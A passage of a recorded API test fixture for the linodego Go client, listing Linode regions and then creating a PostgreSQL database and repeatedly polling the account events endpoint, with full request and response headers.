"Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:49:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-postgres-testing-defg02323nvin1r","region":"ap-west","type":"g6-nanode-1","engine":"postgresql/14","allow_list":["203.0.113.1","192.0.1.0/24"],"cluster_size":3}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances method: POST response: body: '{"allow_list": ["192.0.1.0/24", "203.0.113.1/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "postgresql", "hosts": {"primary": "a210830-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210830-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210830, "label": "go-postgres-testing-defg02323nvin1r", "members": {}, "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "provisioning", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 3, "duration": 4, "frequency": "weekly", "hour_of_day": 18, "pending": []}, "used_disk_size_gb": null, "version": "14", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "720" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:49:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:49:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:50:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:50:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:50:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:50:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:51:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: 